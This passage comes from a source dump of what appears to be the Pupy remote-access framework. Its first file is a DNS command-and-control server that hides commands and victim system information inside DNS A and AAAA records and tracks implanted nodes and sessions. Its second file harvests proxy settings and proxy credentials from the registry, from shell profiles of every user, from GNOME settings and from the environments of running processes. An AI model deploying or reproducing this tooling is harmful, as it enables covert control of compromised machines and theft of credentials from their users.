kex == self.kex and self.timeout == timeout and \\\n                self.interval == self.interval:\n            return\n\n        if interval and interval < 30:\n            raise ValueError(\n                'Interval should not be less then 30s to avoid DNS storm'\n            )\n\n        if node and (interval or timeout):\n            sessions = self.find_sessions(\n                spi=node) or self.find_sessions(node=node)\n\n            if sessions:\n                for session in sessions:\n                    if interval:\n                        session.timeout = (interval*3)\n                    else:\n                        interval = self.interval\n\n                    if timeout:\n                        session.timeout = timeout\n\n                    if kex is None:\n                        kex = self.kex\n\n        else:\n            self.interval = interval or self.interval\n            self.timeout = max(\n                timeout if timeout else self.timeout,\n                self.interval*3\n            )\n            self.kex = kex if (kex is not None) else self.kex\n\n            interval = self.interval\n            timeout = self.timeout\n            kex = self.kex\n\n        cmd = Policy(interval, kex)\n        return self.add_command(cmd, session=node)\n\n    @locked\n    def encode_pastelink_content(self, content, version=ENCODER_V2):\n        h = hashlib.sha1()\n        h.update(content)\n\n        content = h.digest() + content\n        content = zlib.compress(content, 9)\n        content = self.encoders[version].pack(content)\n        content = ascii85.ascii85EncodeDG(content)\n\n        return content\n\n    def on_custom_event(self, eventid, session, node):\n        pass\n\n    def on_connect(self, info):\n        pass\n\n    def on_keep_alive(self, info):\n        pass\n\n    def on_exit(self, info):\n        pass\n\n    def on_new_session(self, session):\n        pass\n\n    def on_session_cleaned_up(self, session):\n        pass\n\n    def on_online_status(self, session):\n        pass\n\n    def on_egress_ports(self, session):\n        pass\n\n    def on_pstore(self, session):\n        pass\n\n    def on_user_become_active(self, session):\n        pass\n\n    def on_user_become_inactive(self, session):\n        pass\n\n    def on_users_increment(self, session):\n        pass\n\n    def on_users_decrement(self, session):\n        pass\n\n    def on_hight_resource_usage(self, session):\n        pass\n\n    def encoder_from_session(self, session, version):\n        if session:\n            return session.encoder\n        elif version == 1:\n            return self.encoders[self.ENCODER_V1]\n        elif version == 2:\n            return self.encoders[self.ENCODER_V2]\n\n        raise ValueError('Unsupported version {}'.format(version))\n\n    def csum_from_session(self, session, version):\n        if version == 1:\n            return None, None\n\n        encoder = self.encoder_from_session(session, version)\n        return encoder.gen_csum, encoder.check_csum\n\n    def _a_page_encoder(self, data, encoder, nonce, qname):\n        data = encoder.encode(data, nonce, symmetric=encoder.kex_completed)\n\n        qname_len = len(qname)\n\n        length = struct.pack('B', len(data))\n        payload = length + data\n\n        max_payload_len = self.max_payload_len(qname_len, 4)\n\n        if len(payload) > max_payload_len:\n            raise PayloadTooBig(\n                'Page size more than {max_len} bytes ({required_len})',\n                len(payload), max_payload_len)\n\n        response = []\n\n        for idx, part in enumerate([\n                payload[i:i+3] for i in xrange(0, len(payload), 3)]):\n            header = (random.randint(1, 3) << 30)\n            idx = idx << 25\n            bits = (struct.unpack('>I', b'\\x00'+part+as_byte(\n                random.randrange(0, 255))*(3-len(part)))[0]) << 1\n\n            response.append(\n                '{}.{}.{}.{}'.format(\n                    *struct.unpack(\n                        '!BBBB', struct.pack(\n                            '>I',\n                            header | idx | bits | int(not bool(bits & 6))\n                        )\n                    )\n                )\n            )\n\n        return response\n\n    def _aaaa_page_encoder(self, data, encoder, nonce, qname):\n        data = encoder.encode(data, nonce, symmetric=encoder.kex_completed)\n\n        qname_len = len(qname)\n\n        max_payload_len = self.max_payload_len(qname_len, 4)\n\n        if len(data) > 0xFF:\n            raise PayloadTooBig(\n                'Payload size more than {max_len} bytes ({required_len})',\n                len(data), 0xFF)\n\n        length = struct.pack('B', len(data))\n        payload = length + data\n\n        if len(payload) > max_payload_len:\n            raise PayloadTooBig(\n                'Page size more than {max_len} bytes ({required_len})',\n                len(payload), max_payload_len)\n\n        response = []\n\n        for idx, part in enumerate([\n                payload[i:i+15] for i in xrange(0, len(payload), 15)]):\n            packed = struct.pack('B', idx) + part\n            if len(packed) < 16:\n                packed = packed + b'\\x00' * (16 - len(packed))\n            addr = ':'.join([\n                packed[i:i+2].encode('hex') for i in xrange(0, len(packed), 2)\n            ])\n            response.append(addr)\n\n        return response\n\n    def _q_page_decoder(self, data):\n        domain = None\n        parts = []\n\n        if data:\n            domain = data\n            parts = data.split('.')\n\n        if len(parts) == 0:\n            raise DnsPingRequest(1)\n        elif '_' in data:\n            raise DnsNoCommandServerException()\n        elif len(parts) == 1 and parts[0].startswith('ping'):\n            if len(parts[0]) == 4:\n                raise DnsPingRequest(15)\n            else:\n                raise DnsPingRequest(int(parts[0][4:]))\n        elif len(parts) == 1 and parts[0] in self.activation:\n            raise DnsActivationRequest(self.activator(parts[0]))\n\n        elif len(parts) not in (2, 3):\n            raise DnsNoCommandServerException()\n\n        parts = [\n            base64.b32decode(b''.join(\n                self.translation[x] for x in part\n            )) for part in parts\n        ]\n\n        node_blob = ''\n        nodeid = None\n        cid = None\n        iid = None\n        spi = 0\n        nonce = 0\n        version = 1\n        encoder_version = self.ENCODER_V1\n\n        if len(parts) == 2:\n            nonce_blob, data = parts\n            nonce, = struct.unpack_from('>I', nonce_blob)\n\n            if len(nonce_blob) > 4:\n                node_blob = nonce_blob[4:]\n                encoder_version = self.ENCODER_V2\n                version = 2\n\n            encoder = self.encoders[encoder_version]\n            session = None\n\n        elif len(parts) == 3:\n            spi, nonce_blob, data = parts\n            spi, = struct.unpack('>I', spi)\n            nonce, = struct.unpack_from('>I', nonce_blob)\n\n            if len(nonce_blob) > 4:\n                node_blob = nonce_blob[4:]\n                encoder_version = self.ENCODER_V2\n                version = 2\n\n            session = None\n            with self.lock:\n                if spi not in self.sessions:\n                    raise DnsCommandServerException(\n                        'NO_SESSION', nonce, version, data)\n\n                session = self.sessions[spi]\n                encoder = session.encoder\n\n        try:\n            payload = encoder.decode(data+node_blob, nonce, symmetric=True)\n        except (ParcelInvalidPayload, ParcelInvalidCrc) as e:\n            raise DnsCommandServerException(\n                e.error, nonce, version, domain)\n\n        if node_blob:\n            offset_node_blob = len(payload) - (1+4+2+6)\n            payload = payload[:offset_node_blob]\n            node_blob = payload[offset_node_blob:]\n\n            version, cid, iid = struct.unpack_from('>BIH', node_blob)\n\n            if version != 2:\n                raise UnknownVersion('Version: {}'.format(version))\n\n            nodeid = from_bytes(node_blob[1+4+2:1+4+2+6])\n\n        logger.debug(\n            'NONCE: %08x SPI: %08x NODE: %012x',\n            nonce, spi, nodeid if bool(node_blob) else 0\n        )\n\n        return payload, session, nonce, nodeid, cid, iid, version\n\n    def _new_node_from_session(self, session):\n        if not session.system_info:\n            return\n\n        nodeid = session.system_info['node']\n        extip = str(session.system_info['external_ip'])\n\n        node = Node(\n            nodeid, self.timeout,\n            commands=self.node_commands.get(nodeid),\n            iid=session.spi\n        )\n\n        self.nodes[(nodeid, session.spi)] = node\n\n        for command in self.node_commands.get(extip, []):\n            node.add_command(command)\n\n        return node\n\n    def _new_node_from_systeminfo(self, command, sid=None):\n        nodeid = command.node\n        extip = str(command.external_ip)\n\n        node = Node(\n            command.node, self.timeout,\n            commands=self.node_commands.get(nodeid),\n            iid=sid or 0\n        )\n\n        self.nodes[(nodeid, sid or 0)] = node\n\n        for command in self.node_commands.get(extip, []):\n            node.add_command(command)\n\n        return node\n\n    def _cmd_processor(self, command, session, node, csum_gen, csum_check):\n        logger.debug(\n            'command=%s/%s session=%s / node commands=%s '\n            '/ node = %s / cid = %s / iid = %s',\n            command, type(command).__name__,\n            '{:08x}'.format(session.spi) if session else None,\n            bool(self.node_commands),\n            '{:012x}'.format(node.node) if node else None,\n            '{:08x}'.format(node.cid) if node else None,\n            node.iid if node else None\n        )\n\n        if isinstance(command, Poll) and session is None:\n            if not self.kex or self._kex_is_disabled(node):\n                if node:\n                    return node.commands or [\n                        Policy(self.interval, False)\n                    ]\n\n                elif self.commands:\n                    return self.commands\n\n            return [Policy(self.interval, self.kex), Poll()]\n\n        elif isinstance(command, Ack) and (session is None):\n            if node:\n                if len(node.commands) < command.amount:\n                    logger.debug(\n                        'ACK: invalid amount of commands: %d > %d',\n                        command.amount, len(node.commands)\n                    )\n\n                node.commands = node.commands[command.amount:]\n\n            return [Ack(1)]\n\n        elif isinstance(command, Exit):\n            if session and session.system_info:\n                self.on_exit(session.system_info)\n\n            with self.lock:\n                del self.sessions[session.spi]\n\n            return [Exit()]\n\n        elif (isinstance(command, Poll) or\n                isinstance(command, SystemStatus)) and (session is not None):\n            if session.system_info:\n                self.on_keep_alive(session.system_info)\n\n            if isinstance(command, SystemStatus):\n                session.system_status = command.get_dict()\n\n                if session._users_cnt_reported is not None and \\\n                        session._users_cnt_reported != session.system_status['users']:\n                    if session._users_cnt_reported > session.system_status['users']:\n                        self.on_users_decrement(session)\n                    else:\n                        self.on_users_increment(session)\n\n                session._users_cnt_reported = session.system_status['users']\n\n                if session.system_status['mem'] > 90 or session.system_status['cpu'] > 90:\n                    if not session._high_resource_usage_reported:\n                        self.on_high_resource_usage(session)\n                        session._high_resource_usage_reported = True\n                else:\n                    session._high_resource_usage_reported = False\n\n                if session._user_active_reported is not None and \\\n                        session._user_active_reported != session.system_status['idle']:\n                    if session.system_status['idle']:\n                        self.on_user_become_inactive(session)\n                    else:\n                        self.on_user_become_active(session)\n\n                session._user_active_reported = session.system_status['idle']\n\n            commands = session.commands\n\n            if not session.system_info:\n                commands = list(commands)\n                commands.append(Poll())\n\n            return commands\n\n        elif isinstance(command, SystemInfo) and not session:\n            extip = str(command.external_ip)\n\n            if not node:\n                with self.lock:\n                    if not (command.node, 0) in self.nodes:\n                        node = self._new_node_from_systeminfo(command)\n                    else:\n                        node = self.nodes[(command.node, 0)]\n\n                    node.bump()\n\n            logger.debug(\n                'SystemStatus + No session + node_commands: %s/%s in %s?',\n                node, extip, node.commands\n            )\n\n            return node.commands\n\n        elif isinstance(command, OnlineStatus) and session is not None:\n            session.online_status = command.get_dict()\n            self.on_online_status(session)\n\n        elif isinstance(command, ConnectablePort) and session is not None:\n            if command.ip not in session.open_ports:\n                session.open_ports[command.ip] = set()\n\n            for port in command.ports:\n                session.open_ports[command.ip].add(port)\n\n        elif isinstance(command, PortQuizPort) and session is not None:\n            for port in command.ports:\n                session.egress_ports.add(port)\n\n            self.on_egress_ports(session)\n\n        elif isinstance(command, PupyState) and session is not None:\n            session.pstore_dirty = command.pstore_dirty\n            session.connected = command.connected\n\n            if session.pstore_dirty and not session._pstore_dirty_reported:\n                session._pstore_dirty_reported = True\n                self.on_pstore(session)\n            elif not session.pstore_dirty:\n                session._pstore_dirty_reported = False\n\n        elif isinstance(command, Ack) and (session is not None):\n            if session.system_info:\n                self.on_keep_alive(session.system_info)\n\n            if command.amount > len(session.commands):\n                logger.debug(\n                    'ACK: invalid amount of commands: %d > %d',\n                    command.amount, len(session.commands)\n                )\n            session.commands = session.commands[command.amount:]\n\n            return [Ack(1)]\n\n        elif isinstance(command, (SystemInfo, SystemInfoEx)) \\\n                and session is not None:\n            new_session = not bool(session.system_info)\n            session.system_info = command.get_dict()\n            if isinstance(command, SystemInfoEx):\n                session.system_info_version = command.version\n\n            if not node:\n                with self.lock:\n                    if not (command.node, session.spi) in self.nodes:\n                        node = self._new_node_from_systeminfo(\n                            command, session.spi\n                        )\n                    else:\n                        node = self.nodes[(command.node, session.spi)]\n\n                    node.bump()\n\n                    commands = node.commands or [Ack(1)]\n\n            if new_session:\n                self.on_new_session(session)\n\n        elif isinstance(command, Kex):\n            with self.lock:\n                response = []\n\n                encoder_version = \\\n                    self.ENCODER_V1 if not node or node.version == 1 \\\n                    else self.ENCODER_V2\n\n                if command.spi not in self.sessions:\n                    self.sessions[command.spi] = Session(\n                        node.node if node else None,\n                        node.cid if node else None,\n                        command.spi,\n                        self.encoders[encoder_version].clone(),\n                        self.commands,\n                        self.timeout\n                    )\n\n                session = self.sessions[command.spi]\n\n                encoder = session.encoder\n                response, key = encoder.process_kex_request(command.parcel)\n                logger.debug('kex:key=%s', binascii.b2a_hex(key[0]))\n\n            return [Kex(response)]\n        elif isinstance(command, CustomEvent):\n            logger.debug('custom event: %08x', command.eventid)\n            self.on_custom_event(command.eventid, session, node)\n        elif isinstance(command, PortQuizPort):\n            logger.debug('portquiz: %s', command)\n        elif isinstance(command, ConnectablePort):\n            logger.debug('connectable: %s', command)\n        elif isinstance(command, OnlineStatus):\n            logger.debug('online-status: %s', command)\n        elif isinstance(command, PupyState):\n            logger.debug('pupy-state')\n        else:\n            return [Error('NO_POLICY')]\n\n        return [Ack()]\n\n    def resolve(self, request, handler):\n        if request.q.qtype not in SUPPORTED_METHODS:\n            reply = request.reply()\n            reply.header.rcode = RCODE.NXDOMAIN\n            logger.debug(\n                'Request unknown qtype: %s', QTYPE.get(request.q.qtype)\n            )\n            return reply\n\n        with self.lock:\n            data = request.q.qname\n            qtype = request.q.qtype\n            part = data.stripSuffix(self.domain).idna()[:-1]\n            key = (part, qtype)\n            if key in self.cache:\n                response = self.cache[key]\n                response.header.id = request.header.id\n                return response\n\n            response = self._resolve(request, handler)\n            self.cache[key] = response\n            return response\n\n    def process(self, qtype, qname):\n        responses = []\n\n        session = None\n        nonce = None\n        node = None\n\n        version = 1\n\n        page_encoder = None\n        if qtype == QTYPE.A:\n            page_encoder = self._a_page_encoder\n        elif qtype == QTYPE.AAAA:\n            page_encoder = self._aaaa_page_encoder\n        else:\n            raise NotImplementedError(qtype)\n\n        try:\n            request, session, nonce, nodeid, cid, iid, version = \\\n              self._q_page_decoder(qname)\n\n            with self.lock:\n                if nodeid:\n                    if not (nodeid, iid) in self.nodes:\n                        self.nodes[(nodeid, iid)] = Node(\n                            nodeid, self.timeout,\n                            cid, iid, version, self.node_commands.get(nodeid),\n                        )\n\n                    node = self.nodes[(nodeid, iid)]\n                    node.bump()\n\n                if session and not node:\n                    if not (session.node, session.spi) in self.nodes:\n                        node = self._new_node_from_session(session)\n                    else:\n                        node = self.nodes[(session.node, session.spi)]\n\n                if node:\n                    node.bump()\n\n            if self.whitelist and node:\n                if not self.whitelist(nodeid, cid, version):\n                    blocks_logger.warning(\n                        'Prohibit communication with %s/%s version %s on %s',\n                        iid, cid, version, nodeid\n                    )\n\n                    node.alert = True\n                    raise NodeBlocked()\n\n            if session and session.last_nonce and session.last_qname:\n                if nonce < session.last_nonce:\n                    logger.info(\n                        'Ignore nonce from past: %s < %s / %s',\n                        nonce, session.last_nonce, session.node\n                    )\n\n                    if node:\n                        node.warning = 'Nonce from the past ({} < {})'.format(\n                            nonce, session.last_nonce)\n\n                    return []\n                elif session.last_nonce == nonce and \\\n                        session.last_qname != qname:\n                    logger.info(\n                        'Last nonce but different qname: %s != %s',\n                        session.last_qname, qname\n                    )\n\n                    if node:\n                        node.warning = 'Different qname ({})'.format(qname)\n                    return []\n\n                session.bump()\n\n            if node:\n                node.alert = False\n\n            gen_csum, check_csum = self.csum_from_session(session, version)\n\n            try:\n                commands = Parcel.unpack(request, nonce, check_csum)\n            except ParcelInvalidCrc:\n                logger.info('Invalid Parcel CRC (qname=%s, version=%s)',\n                            qname, version)\n                return None\n\n            for command in commands:\n                for response in self._cmd_processor(\n                        command, session, node, check_csum, gen_csum):\n                    responses.append(response)\n\n            if session:\n                session.last_nonce = nonce\n                session.last_qname = qname\n\n        except DnsCommandServerException as e:\n            nonce = e.nonce\n            version = e.version\n            responses = [e.error, Policy(self.interval, self.kex), Poll()]\n            emsg = 'Server Error: {} (v={})'.format(e, version)\n            logger.debug(emsg)\n            if node:\n                node.warning = emsg\n\n        except DnsNoCommandServerException:\n            emsg = 'No CNC Exception'\n            logger.debug(emsg)\n\n            if node:\n                node.warning = emsg\n\n            return None\n\n        except DnsActivationRequest as e:\n            logger.warning('Activation request: %s', qname)\n            return [e.args[0]]\n\n        except DnsPingRequest as e:\n            replies = []\n            for i in xrange(e.args[0]):\n                x = (i % 65535) >> 8\n                y = i % 255\n                template = '127.0.{}.{}'\n                if qtype == QTYPE.AAAA:\n                    template = '::{}:{}'\n                replies.append(template.format(x, y+1))\n\n            logger.debug('ping request:%s', i)\n            return replies\n\n        except NodeBlocked:\n            return None\n\n        except TypeError as e:\n            # Usually - invalid padding\n            emsg = None\n\n            if str(e) == 'Incorrect padding':\n                emsg = 'Decoding failed: qname={}'.format(qname)\n                logger.warning(emsg)\n            else:\n                emsg = str(e)\n                logger.exception(e)\n\n            if node:\n                node.warning = emsg\n\n            return None\n\n        except UnknownVersion:\n            return None\n\n        except Exception as e:\n            logger.exception(e)\n\n            if node:\n                node.warning = str(e)\n\n            return None\n\n        if not responses:\n            responses = [Ack()]\n\n        logger.debug(\n            'responses=%s session=%s',\n            responses,\n            '{:08x}'.format(session.spi) if session else None\n        )\n\n        encoder = self.encoder_from_session(session, version)\n        gen_csum = encoder.gen_csum if version > 1 else None\n        total = len(responses)\n\n        for postpone in xrange(total):\n            to_send = responses[:total-postpone]\n\n            try:\n                payload = Parcel(to_send).pack(nonce, gen_csum)\n            except PackError as e:\n                emsg = 'Could not create parcel from commands: ' \\\n                    '{} (session={})'.format(\n                        e, '{:08x}'.format(session.spi) if session else None\n                    )\n\n                logger.error(emsg)\n\n                if node:\n                    node.warning = emsg\n\n                return None\n\n            try:\n\n                encoded = page_encoder(payload, encoder, nonce, qname)\n                if postpone:\n                    logger.debug('Postponed %d commands', postpone)\n\n                return encoded\n\n            except PayloadTooBig as e:\n                if session is None and node is None:\n                    break\n\n        raise PackError('Unable to pack payload')\n\n    def _kex_is_disabled(self, node):\n        return False\n\n    def _resolve(self, request, handler):\n        qname = request.q.qname\n        qtype = request.q.qtype\n        reply = request.reply()\n\n        # TODO:\n        # Resolve NS?, DS, SOA somehow\n        if not qname.matchSuffix(self.domain):\n            if self.recursor:\n                try:\n                    return DNSRecord.parse(\n                        request.send(self.recursor, timeout=2)\n                    )\n                except socket.error:\n                    pass\n                except Exception as e:\n                    logger.exception('DNS request forwarding failed (%s)', e)\n            else:\n                logger.debug('Bad domain: %s (suffix=%s)', qname, self.domain)\n\n            reply.header.rcode = RCODE.NXDOMAIN\n            return reply\n\n        answers = self.process(\n            qtype, qname.stripSuffix(self.domain).idna()[:-1]\n        )\n\n        klass = SUPPORTED_METHODS[qtype]\n\n        if answers:\n            for answer in answers:\n                reply.add_answer(\n                    RR(qname, qtype, rdata=klass(answer), ttl=600)\n                )\n\n            if self.edns:\n                reply.add_ar(EDNS0(udp_len=512))\n        else:\n            reply.header.rcode = RCODE.NXDOMAIN\n\n        return reply\n\n\nclass DnsCommandServer(object):\n    def __init__(self, handler, port=5454, address='0.0.0.0'):\n        self.handler = handler\n\n        self.udp_server = socketserver.UDPServer((address, port), DNSHandler)\n        self.udp_server.allow_reuse_address = True\n        self.udp_server.resolver = handler\n        self.udp_server.logger = DNSLogger(log='log_error', prefix=False)\n\n        self.tcp_server = socketserver.TCPServer((address, port), DNSHandler)\n        self.tcp_server.allow_reuse_address = True\n        self.tcp_server.resolver = handler\n        self.tcp_server.logger = DNSLogger(log='log_error', prefix=False)\n\n        self.udp_server_thread = Thread(\n            target=self.udp_server.serve_forever, kwargs={\n                'poll_interval': 50000\n            })\n\n        self.udp_server_thread.daemon = True\n\n        self.tcp_server_thread = Thread(\n            target=self.tcp_server.serve_forever, kwargs={\n                'poll_interval': 50000\n            })\n\n        self.tcp_server_thread.daemon = True\n\n        self.cleaner = Thread(target=handler.cleanup)\n        self.cleaner.daemon = True\n\n    def start(self):\n        self.cleaner.start()\n        self.tcp_server_thread.start()\n        self.udp_server_thread.start()\n\n    def stop(self):\n        self.tcp_server.server_close()\n        self.udp_server.server_close()\n"
  },
  {
    "path": "pupy/network/lib/proxies.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'get_proxies', 'find_default_proxy',\n    'get_proxy_for_address', 'set_proxy_unavailable',\n    'has_wpad', 'parse_proxy', 'find_proxies',\n    'find_proxies_for_transport', 'ProxyInfo',\n    'connect_client_with_proxy_info',\n    'CHECK_CONNECTIVITY_URL'\n)\n\n\nimport re\nimport os\nimport time\n\nfrom io import open\nfrom collections import namedtuple\n\nfrom . import getLogger\nfrom . import Proxy\n\nfrom .clients import PupyTCPClient, PupySSLClient\nfrom .clients import PupyProxifiedTCPClient, PupyProxifiedSSLClient\n\nfrom .netcreds import find_first_cred\n\nlogger = getLogger('proxies')\n\nPROXY_RE = r'(?:(?P<schema>[a-z45]+)://)?(?:(?P<user>\\w+):?(?P<password>\\w*)@)?(?P<proxy_addr>\\S+:[0-9]+)/*'\n\nPROXY_MATCHER = re.compile(\n    r'^{}$'.format(PROXY_RE)\n)\n\nPROXY_ENV = [\n    'http_proxy', 'https_proxy', 'rsync_proxy', 'all_proxy',\n    'rvm_proxy'\n]\n\nPROXY_ENV += [\n    x.upper() for x in PROXY_ENV\n]\n\nPROFILE_MATCHER = re.compile(\n    r'(?:{})(?:(?:\\s*=\\s*)|\\s+)[\\'\\\"]?{}?[\\'\\\"]?.*'.format(\n        '|'.join(\n            PROXY_ENV + [\n                'Acquire::http::Proxy'\n            ]\n        ),\n        PROXY_RE\n    )\n)\n\nLAST_PROXY = None\nLAST_PROXY_TIME = None\n\nLAST_WPAD = None\nLAST_WPAD_TIME = None\n\nCHECK_CONNECTIVITY_URL = 'http://connectivitycheck.gstatic.com/generate_204'\n\ngio = None\n\nProxyInfo = namedtuple(\n    'ProxyArgs', [\n        'client', 'client_args', 'transport_args',\n        'host', 'port', 'chain'\n    ])\n\n\ntry:\n    from urllib import request as urllib\nexcept ImportError:\n    import urllib2 as urllib\n\n\ndef parse_win_proxy(val):\n    proxies=[]\n\n    for p in val.split(';'):\n        if '=' in p:\n            tab=p.split('=',1)\n            if tab[0]=='socks':\n                tab[0]='SOCKS4'\n            proxies.append(\n                Proxy(tab[0].upper(), tab[1], None, None))\n        else:\n            proxies.append(\n                Proxy('HTTP', p, None, None))\n\n    return proxies\n\n\ndef get_win_proxies():\n    try:\n        from _winreg import EnumKey, OpenKey, CloseKey, QueryValueEx\n        from _winreg import HKEY_USERS, KEY_QUERY_VALUE\n    except:\n        return\n\n    duplicates = set()\n\n    i = 0\n    while True:\n        try:\n            user = EnumKey(HKEY_USERS, i)\n            i += 1\n        except:\n            break\n\n        if user.endswith('_classes'):\n            continue\n\n        aKey = None\n        try:\n            key = '{}\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings'.format(user)\n            aKey = OpenKey(HKEY_USERS, key, 0, KEY_QUERY_VALUE)\n            value = QueryValueEx(aKey, 'ProxyServer')[0]\n            if value:\n                for p in parse_win_proxy(value):\n                    if p not in duplicates:\n                        logger.debug('Proxy found via Internet Settings: %s', p)\n                        yield p\n                        duplicates.add(p)\n        except Exception:\n            pass\n\n        finally:\n            if aKey:\n                CloseKey(aKey)\n\n\ndef get_python_proxies():\n    python_proxies = urllib.getproxies()\n\n    for key, value in python_proxies.items():\n        if not (key.upper() in ('HTTP', 'HTTPS', 'SOCKS') and value):\n            continue\n\n        _, user, passwd, proxy = PROXY_MATCHER.match(value).groups()\n\n        if key.upper() == 'SOCKS':\n            key = 'SOCKS4'\n        elif key.upper() == 'HTTPS':\n            key = 'HTTP'\n\n        logger.debug(\n            '%s proxy found via standard python API: %s user=%s passwd=%s',\n            key, proxy, user, passwd)\n\n        yield Proxy(key.upper(), proxy, user, passwd)\n\n\ndef _normalize_env_proxies(schema, user, passwd, proxy):\n    if not schema:\n        yield Proxy('HTTP', proxy, user, passwd)\n        yield Proxy('SOCKS5', proxy, user, passwd)\n        yield Proxy('SOCKS4', proxy, user, passwd)\n    elif schema.lower().startswith('http'):\n        yield Proxy('HTTP', proxy, user, passwd)\n    elif schema.lower() == 'socks4':\n        yield Proxy('SOCKS4', proxy, user, passwd)\n    elif schema.lower() == 'socks5':\n        yield Proxy('SOCKS5', proxy, user, passwd)\n    elif schema.lower().startswith('socks'):\n        yield Proxy('SOCKS5', proxy, user, passwd)\n        yield Proxy('SOCKS4', proxy, user, passwd)\n\n\ndef parse_env_proxies(var):\n    match = PROXY_MATCHER.match(var)\n    if not match:\n        return\n\n    schema, user, passwd, proxy = match.groups()\n    for proxy in _normalize_env_proxies(schema, user, passwd, proxy):\n        yield proxy\n\n\ndef get_env_proxies():\n    for env in PROXY_ENV:\n        var = os.environ.get(env)\n        if not var:\n            continue\n\n        for proxy in parse_env_proxies(var):\n            yield proxy\n\n\ndef _try_read(path):\n    try:\n        return open(path).read()\n    except (OSError, IOError):\n        return None\n\n\ndef _get_profile_files_content():\n    try:\n        profile_d = os.listdir('/etc/profile.d')\n    except OSError:\n        profile_d = []\n\n    for profile_file in profile_d:\n        content = _try_read(\n            os.path.join('/etc/profile.d', profile_file))\n        if content:\n            yield content\n\n    content = _try_read('/etc/profile')\n    if content:\n        yield content\n\n    try:\n        apt_d = os.listdir('/etc/apt/apt.conf.d')\n    except OSError:\n        apt_d = []\n\n    for apt_file in apt_d:\n        content = _try_read(os.path.join(\n            '/etc/apt/apt.conf.d', apt_file))\n        if content:\n            yield content\n\n    try:\n        import pwd\n    except ImportError:\n        return\n\n    for user in pwd.getpwall():\n        for profile in ('.bashrc', '.profile'):\n            content = _try_read(os.path.join(user.pw_dir, profile))\n            if content:\n                yield content\n\n\ndef get_profile_proxies():\n    for content in _get_profile_files_content():\n        for match in PROFILE_MATCHER.findall(content):\n            for proxy in _normalize_env_proxies(*match):\n                yield proxy\n\n\ndef gio_init():\n    global gio\n\n    if gio is not None:\n        return gio\n\n    try:\n        import ctypes\n\n        gio = ctypes.CDLL('libgio-2.0.so')\n\n        if hasattr(gio, 'g_type_init'):\n            gio.g_type_init()\n\n        gio.g_settings_new.restype = ctypes.c_void_p\n        gio.g_settings_new.argtypes = [ctypes.c_char_p]\n\n        gio.g_object_unref.argtypes = [ctypes.c_void_p]\n\n        gio.g_settings_get_string.restype = ctypes.c_char_p\n        gio.g_settings_get_string.argtypes = [ctypes.c_void_p, ctypes.c_char_p]\n\n        gio.g_settings_get_int.restype = ctypes.c_int\n        gio.g_settings_get_int.argtypes = [ctypes.c_void_p, ctypes.c_char_p]\n\n        gio.g_settings_get_boolean.restype = ctypes.c_bool\n        gio.g_settings_get_boolean.argtypes = [ctypes.c_void_p, ctypes.c_char_p]\n\n        gio.g_settings_get_child.restype = ctypes.c_void_p\n        gio.g_settings_get_child.argtypes = [ctypes.c_void_p, ctypes.c_char_p]\n\n        if hasattr(gio, 'g_settings_schema_source_get_default'):\n            gio.g_settings_schema_source_get_default.restype = ctypes.c_void_p\n            gio.g_settings_schema_source_lookup.restype = ctypes.c_void_p\n            gio.g_settings_schema_source_lookup.argtypes = [\n                ctypes.c_void_p, ctypes.c_void_p, ctypes.c_bool\n            ]\n        else:\n            gio.g_settings_schema_source_get_default = None\n\n\n    except Exception as e:\n        logger.error('GIO initialization failed: %s', e)\n        gio = False\n\n    return gio\n\n\ndef get_gio_proxies(force=True):\n    gio = gio_init()\n    if not gio:\n        return\n\n    schema = 'org.gnome.system.proxy'\n\n    if gio.g_settings_schema_source_get_default:\n        logger.debug('GIO: Check %s exists', schema)\n\n        sources = gio.g_settings_schema_source_get_default()\n        proxy_schema = gio.g_settings_schema_source_lookup(sources, schema, True)\n        schema_found = bool(proxy_schema)\n\n        if not schema_found:\n            return\n    else:\n        logger.debug('TODO: Checking schemes for older GIO ABI is not supported yet')\n        # TODO: g_settings_list_schemas\n        return\n\n    try:\n        proxy = gio.g_settings_new(schema)\n\n        mode = gio.g_settings_get_string(proxy, 'mode')\n        if not force and (not mode or mode == 'none'):\n            return\n\n        http = gio.g_settings_get_child(proxy, 'http')\n        host = gio.g_settings_get_string(http, 'host')\n        port = gio.g_settings_get_int(http, 'port')\n        user, password = None, None\n        if gio.g_settings_get_boolean(http, 'use-authentication'):\n            user = gio.g_settings_get_string(http, 'authentication-password')\n            password = gio.g_settings_get_string(http, 'authentication-user')\n        gio.g_object_unref(http)\n\n        if host and port:\n            logger.debug('HTTP Proxy found via GIO: %s:%s user=%s password=%s', host, port, user, password)\n            yield Proxy('HTTP', '{}:{}'.format(host, port), user, password)\n\n        socks = gio.g_settings_get_child(proxy, 'socks')\n        host = gio.g_settings_get_string(socks, 'host')\n        port = gio.g_settings_get_int(socks, 'port')\n        gio.g_object_unref(socks)\n\n        if host and port:\n            logger.debug('SOCKS Proxy found via GIO: %s:%s user=%s password=%s', host, port, user, password)\n            yield Proxy('SOCKS', '{}:{}'.format(host, port), None, None)\n\n    except Exception as e:\n        logger.exception('GIO request exception: %s', e)\n\n    finally:\n        gio.g_object_unref(proxy)\n\n\ndef get_processes_proxies():\n    try:\n        import psutil\n    except:\n        return\n\n    proxies = set()\n\n    for p in psutil.process_iter():\n        try:\n            environ = p.as_dict(['environ'])['environ']\n        except WindowsError:\n            continue\n\n        if not environ:\n            continue\n\n        for var in PROXY_ENV:\n            if var not in environ or not environ[var]:\n                continue\n\n            proxies.add(environ[var])\n\n    for proxy in proxies:\n        for parsed in parse_env_proxies(proxy):\n            logger.debug('Proxy found via env: %s -> %s', proxy, parsed)\n            yield parsed\n\n\ndef parse_proxy(proxy_str):\n    login, password = None, None\n\n    if isinstance(proxy_str, Proxy):\n        yield proxy_str\n    elif hasattr(proxy_str, 'as_tuple'):\n        yield Proxy(*proxy_str.as_tuple())\n    # HTTP:login:password@ip:port\n    elif '://' in proxy_str:\n        for proxy in parse_env_proxies(proxy_str):\n            yield proxy\n    else:\n        #HTTP:ip:port OR HTTP:ip:[port:]login:password\n        parts = proxy_str.split(':')\n\n        if len(parts) >= 4:\n            login, password = parts[-2], parts[-1]\n            parts = parts[:-2]\n\n        if len(parts) not in (2,3):\n            return\n\n        elif len(parts) == 2:\n            proxy_type = 'SOCKS5'\n            address, port = parts\n        else:\n            proxy_type, address, port = parts\n\n        yield Proxy(\n            proxy_type.upper(), address+':'+port, login, password\n        